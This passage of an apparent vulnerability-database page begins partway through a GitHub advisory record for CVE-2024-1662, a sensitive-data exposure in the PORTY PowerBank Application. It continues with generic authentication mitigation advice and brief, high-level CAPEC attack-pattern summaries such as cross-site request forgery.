  "details": "Exposure of Sensitive Information to an Unauthorized Actor vulnerability in PORTY Smart Tech Technology Joint Stock Company PowerBank Application allows Retrieve Embedded Sensitive Data.This issue affects PowerBank Application: before 2.02.",
  "id": "GHSA-5h8m-gw93-f3w6",
  "modified": "2026-06-05T15:32:03Z",
  "published": "2024-06-05T12:31:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1662"
    },
    {
      "type": "WEB",
      "url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0324"
    },
    {
      "type": "WEB",
      "url": "https://www.usom.gov.tr/bildirim/tr-24-0602"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
  • Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
  • In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
  • In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-166: Force the System to Reset Values

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.

CAPEC-216: Communication Channel Manipulation

An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.